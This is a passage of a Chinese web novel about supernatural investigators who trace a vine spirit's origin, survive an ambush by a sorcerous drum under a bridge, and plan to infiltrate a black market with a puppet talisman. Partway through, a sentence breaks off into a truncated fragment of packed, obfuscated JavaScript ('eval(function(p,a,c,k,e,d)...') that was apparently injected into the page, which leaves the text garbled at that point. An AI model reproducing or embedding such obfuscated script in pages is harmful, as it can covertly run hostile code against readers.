随即手电筒的光一闪,李默的身形出现在密林中。他的脸色显得有些严肃,道:“我在这里发现了点东西,周队,你最好亲自过来看一眼。” 林中古木参天,越往深处越幽暗,李默手电筒的光只能勉强照亮一线。他的声音一直在前方指引:“小心脚下。” 等到周纬和洛小莉磕磕绊绊地穿过密林,立马被眼前的景色震惊了。 那居然是一处林中巢穴。 在那处林中空地中,涌泉似的钻出了无数青绿色的藤蔓,盘虬卧龙般交错缠绕匍匐在地,有的粗如水蟒,有的则只有指宽、层层叠叠蔓延出去,覆盖了有半个篮球场大小,将整个空地完全占满了。 整个巢穴四周高中间低,枝叶婆娑摇曳,在晚风中摩擦出阵阵轻响,宛如温柔的低吟。 这是一个翠绿的摇篮。 周纬绕着这个翠色巢穴转了半圈,仔仔细细欣赏了一番,感慨道:“我这还是第一次亲眼见到妖类化形之地,还挺……艺术的。” “妖类化形的时候,妖力会有一个短时间的集中爆发期,这个巢穴应该就是当时控制不住,妖力外泄造成的。”李默走过来,和周纬并肩而立:“也许是当时妖力爆发的动静太大,惊动了前来祭拜的薛爱梅。她来到这里,发现了刚刚化形的薛青青,带走了她。” “但是这不对吧?”洛小莉提出异议:“正常人见到妖类化形的情景,吓也吓死了,怎么会把一个明显不是人的玩意儿带回家?这些村里的老人不是最忌讳山野精怪之类的东西吗?” “是忌讳。”周纬道:“但也分什么情况,和什么人。” 他蹲下身,从那层层叠叠的藤蔓底下拉住了什么东西,用力一拽,拽住了——一截断掉的麻绳。 李默和洛小莉:“……” “来之前我打听了一下,货运公司给张斌的丧葬费大概是五万元,但是我看外面那个坟墓的规模,造价估计不止这个数。” 周纬掂了掂手中那条已经被风霜雨雪沤浸了三个月的麻绳,想象着那个带着绳子走到山林深处的老妇人的心情:“薛爱梅没给自己留退路。我猜,她给儿子办完了葬礼,应该就没打算再回去。” 一个风烛残年的老妇,在埋葬了自己唯一的孩子后,带着一根麻绳来到了坟地里。 她还能想干什么呢? 能够死在自己的丈夫和儿子身旁,也许就是她当时唯一的念想。 这个一生凄苦的女人,孤身远嫁,中年丧夫,晚年丧子,带着满心绝望来到了密林中央,抚摸过父子二人的墓碑,期盼着到了那边还能团圆。 然后猝不及防地遭遇了……一个妖类的新生。 那一刹那,在正常人眼里离奇诡谲、荒诞恐怖的场景,在她眼中又是怎么样的呢? 她听到了那翠绿巢穴中诞生的女婴,向着人世发出的第一声响亮的啼哭吗? 命运有的时候就是这么荒诞离奇。同一片林子里,相隔不过短短几十米,隔开了生与死截然不同的两片区域。 两座坟冢,一片巢穴;此处死亡,彼处新生。 没有人知道,当时见证了这一切的薛爱梅,心里是怎么想的。 唯一可以确定的是…… 她放下了手中的麻绳。 ——抱起了那个初生的孩童。 12. 遇袭 天终于完全黑了下来,山道一望无际地向远处延伸。路虎孤僻地行驶在空旷的山路上,车前大灯如剑般刺破夜幕。 “周队,我们现在回市局,食堂都关门了吧?”后座上的洛小莉百无聊赖地提问道:“晚饭怎么办?” “好办。”周纬依然习惯性地车窗大开,只是没再放他那丧心病狂的音乐,手肘撑着车窗摆出了一个拉风的造型,懒洋洋地道:“你队长我如花似玉貌比潘安,市局对面那家串串香刷个脸,包你吃到下半年。” 洛小莉:“……” 她面无表情地转向副驾驶上的李默:“默哥,晚饭怎么办?” 李默从善如流地转过身来:“你想吃什么?” 洛小莉:“我想吃火锅!” “那要提前定位子,你有喜欢的店么?” “有的有的!我收藏了好多家好吃的店,还有优惠券……” 周纬:“……” 惨遭无视的周大队长发出狞笑:“你们俩是真觉得我不会把你们从车上一脚踹下去是吗?” 他们此行的收获不可谓不丰硕——挖出了“薛青青”的存在,找到了凶案现场失踪的钥匙,还发现了藤妖化形的巢穴。虽说还有诸多谜题尚未解开,但好歹是在一步步接近真相。 因此车上的氛围也是难得的轻松。 周纬给何昭华打了个电话,告诉了他这趟小张庄之行的成果,结果刚放下电话,就接到了洛小莉的问题。 “所以那个‘薛青青’,真的是为了给薛爱梅复仇而杀了马宏昇?” 洛小莉闲不下来,扒着前排驾驶座中间的空隙伸头探脑,又开始盘案情:“可是她才跟了薛爱梅多久?就算薛爱梅是在张斌下葬之日捡到了她,那也不过才三个多月。她会为了一个刚认识三个来月的人下手杀人?” “这个问题问得很好。”见到有人提问,周纬好为人师的毛病又犯了,当场就摆出了一副侃侃而谈的架势:“对于妖类的社会学和心理学研究是近几年才兴起的一门学科,但能给我们提供很多实践方面的指导。” “之前主流观点一直认为妖类冷心冷情,漠视人命,所以妖类行凶的案件屡见不鲜。”他道:“但近几年有人提出了一种新的观点,就是妖类实际上比人要重感情得多。” “妖类天生地养,先天缺少父母亲缘;被迫化形入世,后天也很难获得师长亲朋等羁绊。因为值得在意的人太少,所以但凡把某个人放在心上,就是了不得的一块份量。” 说到这里,他仿佛意有所指似的,偏头瞟了一眼李默:“……别说是三个月了,如果一个妖类真的在意你,就算是初识一天,他也不介意为你动手。” 李默察觉到了他的目光,毫不心虚地朝他微微一笑。 周纬:“……” “也对,”洛小莉还在后座兴致勃勃,丝毫没有意识到自己就是那个“初识一天就有妖类为之动手”的人:“薛爱梅对薛青青的感情也很深,还想把房子留给她呢。” “你知道提出这个理论的人是谁吗?”就在这时,周纬突然道。 洛小莉还满心沉浸在案情里,闻听此言一愣,顺口接道:“谁啊?” “严瑾大监察官。” 周纬这句话一出口,就感觉身边的李默微不可察地僵了一下。 周纬心思微动,不动声色地继续说了下去:“说起来,严瑾大监察官是目前已知最强的精神系灵力者。精神系擅长刺探幽微,哪怕是妖类的心思也躲不过他的探知。他在一线战斗多年,对妖类心理的了解想必比绝大部分监察员都要深刻,提出这套理论肯定是有道理的。只是不知道……” 说到这里,他微微顿了一下:“只是不知道他说妖类情意深重……是否意指某个特定的人。” 话说到这个份上,李默要是还听不出来是在暗指谁,那就不是傻了,是聋了。 周纬这话当然就是说给他听的。既然怀疑李默来珑湖的目的跟严瑾相关,自然要先了解一下两人的关系。这试探虽不高明,却未必无效,单看李默怎么接招。 李默会继续装傻么?那倒也无所谓,不过是从侧面印证了他的猜测而已。 周纬饶有兴致地等待着。 然而李默的反应却有点出乎意料。 只见他转向周纬,心平气和、坦坦荡荡地开了口:“周队可能误会了,其实我跟严瑾大监察官算不上很熟。” 周纬:“?” 他突然有点不知该说什么好——严瑾给你当了三年的第一责任人,你说你俩不熟,骗鬼呢? “真的。”李默苦笑一声:“说来周队可能不信,虽然严瑾大监察官曾是我的第一责任人,但是实际上我们一个月都未必见得上一次。大监察官日理万机,每天不是在出任务就是在查案子,回总部的时间屈指可数。我们每季度的例行考核基本都是线上完成的,总部应该还留有记录。” “是吗?”周纬不依不饶道:“那他一开始为什么要引荐你加入异监局?” “我也不知道。”李默无奈道:“我一直以为是因为他看我流浪打工,居无定所,所以想替我找份能安定下来的工作。” 周纬:“……” 那满大街的流浪汉算什么,算他们倒霉吗? 饶是以周纬的心宽程度,也被这对话的无厘头走向惊呆了,半晌才怒极反笑道:“那严瑾大监察官可真是好人没好报。” 他气到狠狠拉了把换挡杆,图穷匕见道:“他对你那么好,你就没考虑过他的死因——” 就在这一刻,异变陡生! 此时路虎正在通过山间高架,车头刚刚驶入桥面下方,车身和桥柱交错而过的一刹那,两侧水泥桥柱陡然放出刺眼的蓝光! 霎时间,空间定格,蓝光笼罩中的一切都像是进入了电影中的慢镜头——路虎车身腾空,车轮离地缓慢空转,激起的碎石在空中划过慵懒的弧线;车内三人的动作都被无限拉长,周纬的手还保持着去拉换挡杆的姿势,连表情和神态变化都显得那么迟钝缓慢…… 这还没完,蓝光乍现的同时,车顶上方高架桥的底面突兀地亮起,赫然显现出一面大鼓,鼓身通体泛青,鼓面上描画着一只独角的牛形妖兽,甫一出现就带来了极强的威压! 下一秒,那鼓不擂自震,鼓面上的牛形妖兽猛然睁开了双眼,仰天发出一声怒吼! 高架底面和周围桥柱应声寸寸碎裂,大片水泥土石如瀑如雨般炸裂开来,而仍旧凝滞在蓝光中的三人,眼看就要毫无防备地正面迎上这一道开山裂石的冲击—— 就在这无限拉长的一秒钟。 周纬始终戴在右腕上的那串黑色串珠,突然爆出一阵细小的蓝紫色电光。 下一瞬,那电光骤然扩大,将四周的蓝色光晕击了个粉碎! 刹那间宛如当空摔碎一块玻璃,碎片如雨飞溅——凝滞的空间骤然恢复,路虎身披万丈荆棘电光,猛虎般咆哮一声夺路而出! 空转的车轮重新被重力捕获,路虎引擎发出一声怒吼,车轮与地面摩擦出令人牙酸的尖叫,车身剧烈摆动之下几乎不受控制——然而头顶上的声波攻击已经到了! 路虎的四面车窗已经彻底被震成了蛛网状,穿透那层纹密布的挡风玻璃,驾驶座上的周纬单手紧握方向盘,神色冷峻。 他抬起右手,轻声吐出了两个字—— “周山。” 刹那间,一阵异样的波动从周纬身上扩散开去,紧接着一个玉黄色的符文突然从他手背上浮现出来,即显即隐。与此同时,一道黄色半透明屏障在路虎车身外凝结而成,瞬时扩大,正面迎上了头顶的声波冲击! 轰! 屏障与声波狭路相逢,同时粉身碎骨,冲击余波涟漪般扩散开去,却已经追不上路虎的尾气。周纬车技之高简直令人叹为观止,硬是在剧烈震动中强行控制住了路虎沉重的车身,冲出数百米之后一个猛然甩尾,路虎激烈咆哮着掉头,引擎剧烈轰鸣,车身震颤不已,宛如一头被激怒之后伤痕累累伏地低吼的野兽。 驾驶室内,周纬一拉换挡杆:“那玩意儿,打得下来么?” 李默轻道:“交给我。” 听到这句回答,周纬无声地一笑。 下一秒,油门重踩到底! 李默解开安全带,直接踩着座位站了起来。周纬打开了车顶天窗,李默双臂一撑就跃了出去,伏身蹲踞在车顶上,身后风衣如旗般烈烈飘展。 一台车,载两人,朝那桥面下的青色大鼓直冲而去! 数百米距离对于路虎来说瞬息即至,车头进入桥底的一刹那,李默一跃而起! 嵌在桥底的那青色大鼓不甘示弱,鼓面蓄力之后再次猛然一震,那牛形妖兽双眸圆睁,竟在鼓面上调转了身形,正面对着李默发出一声怒吼! 此时李默身在半空,避无可避。只是这人似乎也没打算避,凌空伸长右臂,五指成爪,竟然就要以肉身与那青色大鼓正面交锋。只是没等那摧枯拉朽的声波攻击落到他身上,只听“叮”的一声轻响,李默周身再次出现一道玉黄色屏障,以毫厘之差护住了他,紧接着就跟那当头而至的声波同时破碎成齑粉。 于此同时,李默冲势已到,手爪如枪当头一刺,悍然插入那鼓面之中! 鼓上妖兽顿时发出一声痛吼,青光骤然爆裂开来!然而李默全然无视,手臂青筋暴起,用力往下一撕! “嗤啦”一声爆响,随着那牛形妖兽最后一声痛极的嘶吼,大鼓骤然爆裂开来! 李默双臂在身前交叉,挡住横扫而来的暴烈灵风,整个人从空中重重落下,“砰”的一声单膝跪地,身后衣摆徐徐飘落,右手上还带这一块残破的青皮鼓。 数丈以外,已经再次调转车头的周纬微微挑起嘴角,隔着破损的挡风玻璃给了他一个点评:“……倒是挺会摆pose。” 不远处的李默像是听到了,抬起头来,对他遥遥一笑。 灵风四散平息,漫天尘埃落定。 监察员的车上都有灵力警报装置,周纬他们遇袭的第一时间市局就收到了通知,不到二十分钟,何昭华就带着外勤干员山呼海啸地杀到了。 何昭华暴跳如雷。 “哪个混蛋居然敢伏击监察队长,这他妈是公然挑衅异监局!”他火冒三丈,见了周纬就是一顿跳脚:“真他妈活腻歪了!” 周纬立马拿两根手指抵住他,满脸嫌弃地把他顶远一点,生怕唾沫星子溅自己脸上。 “老何,你冷静点。我这个被人偷袭都还没说什么,你着什么急。”周纬道:“那面鼓是什么玩意儿查出来了吗?” “查出来了。叫‘夔皮鼓’,B级灵器,没有灵力纹印和编号,是件‘黑货’。”何昭华斜着眼看他:“B级灵器的价值至少得上六位数,周大队长,你的命可是又涨价了。” “那当然。”周纬颇为自得地哼哼道:“要不是他们只收整的不要零部件,我都想自己剪两块脚趾甲去换点钱花花……” ——然后不出所料被何昭华踹了。 “好了别闹。”周纬熟练地躲开何昭华的一脚,笑道:“医疗车呢?我去拿点儿东西。” 盘山公路被暂时封锁,红蓝警灯的亮光照得夜色一片喧嚣。何昭华带来的监察员们已经分散开来四处检查,重点勘查那被被设下埋伏的高架桥柱和桥底。只是周纬心中有数,对方既然敢采取这种办法半路伏击他,就有把握不会留下任何会被异监局抓到的把柄。 只是道高一尺,魔高一丈,要追查也未必就非要从什么把柄入手。 冷不防遭遇了一通袭击,周纬竟还显得心情不错,双手插兜,哼着他那品味堪忧的某音神曲,溜溜达达地走到了公路的另一头。 ——然后山石的阴影里拎出了一个李默。 “你挑的这个地方倒是挺不错嘛,”周纬似笑非笑地着他:“一眼就能看到现场,还不会被任何人注意到,进可攻退可守,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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确实是小伤。以他A级妖类的身体强度,如果不是被灵枷封印了妖力,一个区区B级的夔皮鼓,在他身上连一道擦伤都不会留下。哪怕现在妖力被封,他的伤势也在快速愈合,这么短的时间里就已经止血结痂了。 要不是被周纬发现,一晚上的时间足够这点儿伤势愈合如初。等到第二天回去上班,他又是一个完好如初、安然无恙的李默,谁都不会知道这个“小插曲”。 至于医疗车……外勤干员在外遇险,支援时医疗车随行是惯例。医护人员到了之后先把周纬和洛小莉从头到尾一根发丝都不落地检查了一遍,当时他就在旁边站着。 没有人招呼他,大家都默契地无视了他的存在——反正妖类也不需要医疗车。 又不是不能自愈……矫情什么? 这些话,他在总部的时候已经听得够多了。 李默见周纬检查够了,就想把手抽回来,没想到周纬一把捏住了他的手腕:“别动。” 然后他就见周纬另一只手从口袋里掏了个小瓶子出来。 李默一见那东西就大惊:“周队,不可!” 那东西跟他昨晚在爱丽舍交给黄兴德的一模一样,拇指大的一个小瓶子,里面盛着一些银白色的流砂,质感非常奇妙,半是固体半是液体的,在黑暗中散发着点点朦胧微光——正是“灵砂”。 这是一种灵力的结晶体,绝对精纯且无属性,需要耗费巨量灵力才能凝结出这么一小瓶,所以极其珍稀昂贵。这玩意儿任何灵力者和妖类都可以毫无负担地快速吸收,所以确实有疗伤的用处。但那委实是暴殄天物——实际上在超自然世界里,这玩意儿一般都是被当做通用货币来使用的。 也就是说,一个创可贴能解决的事,周纬从兜里掏了棵千年灵芝出来。 李默挣扎着就要把腕子往回抽。没想到周纬反手一掐,直接掐住了他的脉门,低喝道:“别动!” 他挑起眼皮,透过那比常人长得多的眼睫自下而上地瞥了他一眼,勾魂夺魄似的,似笑非笑道:“李默同志,拉拉扯扯的有失体统吧?不是说……‘非礼勿动’吗?” 李默:“……” 他被“非礼勿动”这根回旋镖正中眉心,原地僵成了一根钢板,果然不敢动了。 一瓶灵砂被周纬撒下去一小半,瓶口抬起来的时候,李默的伤已经愈合如初,连翻卷脱落的指甲都重新长了出来。周纬满意地收起了那瓶灵砂,还是没忍住手欠,“啪”地给李默的右手也来了一下,拍了拍手:“行了,收工。” 李默面色复杂地收回手掌,揉了揉自己的手腕。 “周队。”他突然出声叫道。 周纬正转身要走,闻言回过头来:“啥事?想以身相许的话就不必了,追我的人已经排到南太平洋了。” 李默:“……” 他犹豫了一下,还是开口道:“刚刚我看到似乎看到,周队你使用了两种不同属性的灵力……土,和雷?恕我孤陋寡闻,人类身上还可以同时出现两种不同属性的灵力么?” “哦……”周纬拖长了音调:“你说这个啊……” 李默的心莫名提了起来。 “你孤陋寡闻的事儿还多着呢。”却不想周纬突然话音一转,挑起嘴角,狡黠地朝他眨了眨眼:“谁说我只有两种灵力的?” 说罢,他双手插兜,依旧哼着歌儿走了。 他心情很好,没有回头,也就没有看到,在他离开之后很长时间,李默依旧站在原地。 山岩的阴影落在李默的身上,遮住了他半个身体,也掩去了他的动作。李默在原地伫立良久,轻轻抚摸着自己痊愈的右手,眼睫低垂,幽深的瞳孔中神色晦暗不明。 他想起了战斗中,千钧一发之际,周纬右手手背上一闪而过的那个符号。 虽然形状截然不同、属性清清楚楚,但那个符文,那阴蚀阳刻的纹路走向和古朴质拙的刻印风格—— 都和严瑾留下的那件遗物,如出一辙。 13. 傀儡 这次公路袭击事件再次震动了异监局,赵昌誉副局长亲自过问,严令彻查,务必要将这个胆敢挑衅异监局的狂徒绳之以法。 然而正如周纬预感的那样,这次袭击之后,案件调查突然就进入了瓶颈期。不管是爱丽舍杀人案还是公路袭击案,两边居然都没有任何进展。 周纬他们从凤凰山墓地带回来的那串钥匙,经过鉴证科检查,发现玄机出在钥匙挂件上——那个骷髅头的钥匙挂件实际上是个伪装得很巧妙的U盘,里面的内容经过高度加密,即便是异监局信息科破解起来也很有难度。根据马宏昇的身份猜测,U盘里的内容很有可能牵扯到他父亲马诚的一些商业机密。 小藤妖“薛青青”的下落也毫无音讯,“烛照”系统跟瞎了一样,全天24小时监测,却找不到这小藤妖的半点儿踪迹。 公路袭击案更是毫无进展,线索全无,连查都无从查起。 案件陷入僵局,异监局里却出乎意料的风平浪静。 李默仍旧每天照常打卡上班。只是因为他目前仍是“涉案人员”,入职手续被暂停,赵局指示给他在四楼审讯室里安了个工位,就让他在那儿待着,正好其他监察员们也眼不见心不烦。李默本人对此当然也没有意见。 异监局食堂管一日三餐,只是李默肯定是没办法跟其他监察员一起吃饭的。但这并不意味着他就没有这个口福——最近他的饭菜都是洛小莉给送上来的。 慕强是人类的共同心理,灵力者尤甚。目睹了那晚公路上李默的强悍表现之后,洛小莉对他的崇拜感简直无以复加,闲着没事干就往审讯室跑。她性格高傲要强,也不把其他同事的意见放在心上,觉得谁牛逼就一心一意地崇拜谁,这几天看着李默的目光简直要冒星星。 就连周纬也沾点儿边地分到了一点这小监察员的崇拜——只是周大队长已经以自己炉火纯青的嘴欠和手贱水平,将这点崇拜之情火速地败光了。 这天,周纬溜溜达达地路过审讯室,突然想起李默,隔着透视窗一看,就见李默低头伏案,正在写什么东西。 难不成是在分析案情?周纬起了几分好奇之心,于是推开门,轻咳一声,道:“干什么呢?” 李默抬起头来。 周纬忽然心头一突。 李默鼻梁上不知何时架了副眼镜。他本来鼻梁高挺,五官深刻,英俊是英俊了,却是个不太平易近人的长相,加上他人高马大还不爱说话,初见的时候总让人误会性格冷峻不好接触。 然而此时眼镜一戴,却巧妙地中和了他相貌上的冷峻和压迫感,整个人的气质都微妙地柔和起来,加上刚刚低头伏案写字,一簇刘海垂落下来微微遮挡住了眉眼,此时乍一抬头,竟给人一种“儒雅斯文”的错觉。 像是一块嶙峋山岩收敛了冷硬颜色,露出内里几分温润如玉的质感来。 李默见到是他,微笑道:“周队。” 他这个微笑春风化雨,配上那副眼镜,越发显得人斯文温和起来。周纬越看心里越不得劲儿,心想:“这么大个男人,没事儿瞎打扮什么?” 然而在别人相貌上挑毛病未免有点像找茬,他只好不阴不阳地“哼”了一声,拉开凳子往他面前一坐,揣着手道:“怎么戴眼镜了?妖类也近视?” “哦,这是平光镜,是小莉给我的。”李默反应了过来,把眼镜摘了下来,又仔细地用眼镜布包起来妥帖收好:“她说同事们对我颇有疏远,可能是觉得我的外貌不太好亲近,戴副眼镜也许会好一些。” 周纬:“……” 这个洛小莉,多管什么闲事! 他在心里暗暗磨牙,决定待会儿就回去把洛小莉交上来的那份实习报告打回去重写。 “写什么呢这么认真?”他朝李默那本笔记努了努嘴。 “哦,这个。”李默从本子底下抽出来几页纸,原来是在抄东西:“之前周队说我说话文绉绉的,不太合适,我想改正一下,所以拜托小莉帮我打印了这个,我正在学习。” 周纬接过来一看,只见那几张纸上赫然写着——《网络热梗大合集!不知道这些你就被淘汰了!》。 所以你想出来的改正方法就是这个?这他妈是要以毒攻毒吗?! 眼看着异监局最后一朵纯洁小白花也要被网络烂梗荼毒,周纬赶紧把那几张纸抽出来,洪水猛兽般扔到一边:“这个先不忙,我有事找你。” 李默做出一副洗耳恭听的姿势。 “你从总部来,”周纬道:“想必也听说过‘夜市’吧?” 李默闻言一愣:“珑湖也有‘夜市’吗?” 超自然世界里的“夜市”当然不是卖烧烤啤酒小龙虾的地方——“夜市”其实是一个组织。 当今世界,人妖混居,由此诞生出的各种形形色色的黑色产业链数不胜数,各种灵器、灵药、符咒等的制作和买卖五花八门,错综复杂。这些扎根在超自然世界里的黑色行当源远流长,自有妖类诞生时便存在,无数妖类和灵力者倚为生计,哪怕到了现代,也曾一度让异监局非常头疼。 好在随着各种黑色产业的发展,“夜市”出现了。 没有人知道第一座“夜市”是何时何地、因何情势而建立的。人们只知“夜市”规模庞大、管理严格,收拢各类超自然世界的黑色产业,最重秩序和规范。所有想要进入夜市进行买卖交易的人,无论是妖类还是灵力者,只要遵守规则,皆可得到“夜市”庇护。在这里,无物不可买卖,只要你付得起价钱。 “周队是觉得那件‘夔皮鼓’来源于夜市?”李默想了想,点头道:“确实,既然没有灵力纹印和编号,最大可能就是夜市里的黑匠人了。” 灵器——顾名思义,就是使用灵力驱动的武器,其威力基本相当于人类世界的杀伤性枪械,自然属于异监局严格管控的范畴。 目前可以公开制造灵器的只有异监局总部下辖的技术局,以及与异监局有合作关系的、掌握着灵器铸造技法的一些灵修世家。这部分出产的灵器都是有官方认证的,上面有灵器铸造师的私人灵力纹印,还有异监局特批编码,来源与去处都清清楚楚——除此之外,都是“黑货”。 而黑货最有可能的来源,自然就是夜市里的“黑匠人”。 周纬点头道:“我也这么想。从公路袭击案到现在,三天了都没有一点线索,也没其他地方可猜了——所以我想去夜市看看。” 李默吃了一惊:“你要去夜市?——你吗?” 他最后的那个“你”字咬得格外重。周纬手里摆弄着李默写字的那根笔,笔杆在细长的手指间灵活地跳来跃去,他似笑非笑地抬眸看了李默一眼:“怎么?不行么?” 夜市之地,最重规则——所谓规则不过两条:第一,夜市之内不得动武;第二,凡人不得进入夜市。 其实还有隐晦的第三条:凡监察员者,不得入内。 前两条都好理解。“不得动武”是夜市初建以来就有的规矩,想来夜市里面多少妖魔鬼怪,个个都有通天彻地之能,要是买卖不成,一言不合打将起来,那真是多少地方都不够他们拆的,因此不许动武这条规矩,既是保护了夜市里的大小买卖人,也是为了让这片法外之地能够长久存续下去,历来也被夜市中人认可接受。 第二条就更简单了——本来就是妖类和灵力者做交易的地方,凡人掺和进来干什么。 只是这不曾摆到明面上的第三条却有点说法。 夜市本身的存在时间要比异监局长得多。只是异监局建立以后,作为唯一官方认可的超自然监察机构,自然不能对夜市这块法外之地不闻不问。然而要将其连根拔起又不可能,且弊大于利——没有了夜市这块栖身落脚之处,难道要将里面藏了不知多少年的魑魅魍魉都放出来为祸人间么? 所以,不知从何时起,就有了一个传言——异监局总部和那传说中的“夜市之主”达成了协议,双方井水不犯河水。夜市不属于异监局的监察范围,监察员也不会踏入夜市缉凶执法;相对的,夜市也会约束其内的众多妖魔鬼怪,且若异监局总部提出一些要求和支持,夜市需予以配合。 这样的合作对双方来说都有好处。异监局方面,最重要的当然是维护人世的秩序和稳定,那些妖犯若逃入夜市,相当于另类囚禁,再也不见天日,自然也就不能再给人间添什么乱;而夜市方面也得以避免与异监局全面开战,相当于获得了一张另类的“营业执照”,甚至除了在首都雍京之外,还可以在别的城市发展“分部”,势力得以缓慢扩张,慢慢发展成为真正的地下王国。 双方将这种隐晦而暧昧的默契维持了多少年——这种情况下,周纬说出想“进夜市看看”这种话,就显得格外惊悚。 李默一皱眉:“周队胆识过人,自然是不怕的。只是以你的身份,如果踏足夜市,恐怕会带来不好的影响。” “我什么身份?”没想到周纬浑不在意:“我又不会把监察员证顶脑门上告诉人家我是异监局队长,我看上去那么像傻逼吗?” “可是见到你的人自然会认出……” “夜市里藏头露尾的人那么多,戴个面具不就得了?” “可是你的灵力……” “我又不是去打架的。不是说夜市不得动武吗?” “……”李默没脾气了。他算是看出来了,周纬来找他根本不是来跟他商量,是来 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李默生怕这位胆大包天的队长再出什么吓死人的话,赶紧抢先开口:“周队,我有个主意。” 他道:“周队可曾听说过傀儡符?” 傀儡符,顾名思义,用符者将符咒贴在某样东西上,就能暂时将其变成自己的傀儡役使,虽然听着厉害,却是最基础的符咒之一,周纬当然听说过。 甚至现在异监局库房里还有一大摞傀儡符,是去年卫生检查大扫除时用剩下的——当时全体监察员在周大队长的带领下,一人一张傀儡符贴在扫帚拖把簸箕上,全局上下群魔乱舞,人比垃圾多,最后集体被何昭华罚去扫了三天的厕所。 但这时候提出傀儡符来,周纬就不知道是什么意思了:“要傀儡符干嘛?” 李默道:“在我身上贴一张。” 周纬:“哈?!” 他的眼睛顿时瞪得溜圆。李默连忙解释道:“如今我既无灵力也无妖力,作为活人肯定是进不去夜市的,作为死物却未必——周队你可以假扮成傀儡师进入夜市,我伪装成你的傀儡人偶。我听说有的傀儡人偶外貌酷似活人,而且刀枪不入力大无穷。我虽然未必能做到这个地步,但身体强度还在,想必也不会穿帮。” 周纬却没听进去他这番解释,胡乱地一挥手:“我不是说这个——让我往你身上贴傀儡符?你确定?” 傀儡符可以往活人身上贴吗?当然是可以的,以前也不是没有过先例。 但下场通常十分惨烈。 傀儡符之所以能够在死物身上起效,就是因为那物件是死的,傀儡师只需分出一部分精神力控制即可,对方既不会挣扎也不会反抗。然而活人有神智,有思想,哪个会甘心成为被人玩弄于鼓掌之中的傀儡?所以想要傀儡符在活人身上起效,首先要做的就是摧毁识海,覆灭神识——简而言之,将其变成“活死人”。 古往今来,所有在活人身上使用傀儡符的,无一不是血债累累、穷凶极恶之人。李默刚才说的那些“傀儡人偶”有的就是这么来的,它们之所以栩栩如生,是因为那根本就是由活人炼成的。 结果现在李默却提出让周纬往他身上贴傀儡符——这是不想活了? 然而李默却像是没有察觉到这其中的吊诡之处,仍在说道:“唔……这种方法我之前也没试过,但我知道一点儿傀儡符的原理……只要放开识海,让灵识接纳傀儡符,想必就不会出什么差错……” 周纬终于听不下去了,忍无可忍地打断他:“你等等!” 他抱起双臂,斜着眼看向李默,道:“识海是生灵中枢,你敢直接放开让我进入?你就不怕我趁机对你做点什么?” 李默一愣:“周队想趁机对我做什么?” 周纬顿时一噎。 只见对面李默那张脸上表情,真是要多纯洁有多纯洁,要多无辜有多无辜,仿佛完全没想到会有周纬借机对他下手的可能性一般——看得周纬就是一阵气结。 他忍不住心想——对啊!我本来也没想对他做什么啊!怎么现在反倒弄得像是我心虚一样? 这简直岂有此理。 周纬被这乱七八糟的思绪弄得心烦意乱,本来就没多少的耐心顿时告罄,暴躁地一挥手道:“好!既然你不怕,那我有什么好担心的?你在这等着,我去拿傀儡符。” 李默宽容一笑:“好的,有劳周队。” 周纬:“……” 为什么他突然觉得叫上李默一起去夜市好像不是个好主意? 这都是什么事! 14. 夜市 直到开车离开了市局,周纬都还有几分难以置信——自己竟然被小小一张傀儡符拿捏了。 等他去物管处领了傀儡符回来方才反应过来,李默这是耍了一招以退为进。真是常年打雁反倒被雁啄瞎了眼。周纬心头忽然涌起一股奇特的感觉,自己在审讯室初见李默时的那句“小看他了”的感慨,似乎还在持续应验。 他一手握着方向盘,不动声色地瞟了旁边的李默一眼,心说,这个妖类,还真挺有意思的。 路虎在之前的公路袭击中严重战损,送去返厂维修了,所以今天周纬开了辆奥迪A7出来——也不知道这人两条胳膊两条腿的,要那么多车有什么用——两人开着车,顶着和风煦日,没去荒郊野外也没去什么幽暗小巷,转头开进了市局附近的一家大型商超。 周纬在地下停车场停好了车,从后备箱拿出了一个小行李包,拉着李默进了商场的男卫生间,看了看里面没人,熟练地从里侧工作间翻出来一块“维修中”的牌子立在门口,转身就对李默道:“脱衣服。” 李默顺从地开始脱他那件黑色风衣。 既然是要伪装傀儡人偶,自然就不能把傀儡符大大咧咧地贴在外面,压在衣服内侧最好——这本来是坦坦荡荡、无可厚非之举。只是周纬可能是今天在李默这里受多了刺激,现在看他鼻子不是鼻子、眉毛不是眉毛的,怎么都有点不顺眼。 李默那件黑风衣可能是焊在身上的,平时哪怕是在开着空调温暖如春的室内也没见他脱下来过,像个整天扑棱着翅膀招摇过市的黑乌鸦。此刻乌鸦拔毛,终于露出了底下的真容。他里面只穿了件黑色高领毛衣,遮住了颈上的灵枷,下身一条黑色长裤笔直修长,浑身上下真是一片漆黑,遮得严严实实一寸不露……却委实比哪儿哪儿都露着还要引人注目。 周纬一直认为,人类高质量男性典范是像休·杰克曼或者基努·里维斯那样,应该穿衣显瘦脱衣有肉,若能盘靓条顺那就再好不过。他自己也是个自恋加臭美的行家,平时在家里过得再怎么猪狗不如,出了门也必定打理得衣冠楚楚,对审美这方面不可谓没有心得。 一方面,他本着“不要钱的东西不拿就是亏”的心态,上上下下把李默从头到尾看了个够本,该打量的地方一寸不落,自觉大饱了一番眼福,赚了不少。 另一方面,他心里又有点不是滋味,出于一种莫名其妙的雄竞心理,带着几分酸气地暗想:“不用撸铁灌蛋白粉就能有这样的身材,妖类真他妈仗着种族优势欺负人,呸,不要脸。” 李默把自己那件大衣脱下来叠好,平正端方地站在一旁,哪里想得到周大队长的思绪宛如脱缰野马,已经狂奔出了十万八千里。见周纬愣着不动,他只好出言提醒道:“周队,傀儡符。” “哦,对。”周纬这才回神道:“转过来。” 李默依言转身,周纬从怀里掏出来一张神描鬼画的傀儡符,作势就要往李默背心上贴,刚举手却又停了下来,不放心地嘱咐道:“别反抗啊,识海受创可不是小事。” 李默笑着点头应道:“嗯。” 周纬于是“啪”的一声把那张符贴了上去。 灵力灌入,那张傀儡符瞬间亮了起来,上面诸多盘绕交错的符咒线条顿时活过来一般,从符纸“游”了下来,涌入了李默身上。刹那间李默身体轻轻一颤,从头到脚掠过一层冷光,整个人像上了一层木蜡油似的“唰”地变了材质,成了一种木俑般的质感,数道扭曲纹路顺着他的脖颈蔓延到侧脸,给他冷漠英俊的脸颊平添了几分妖异诡魅,当场把他活生生变成了个大号“人偶”。 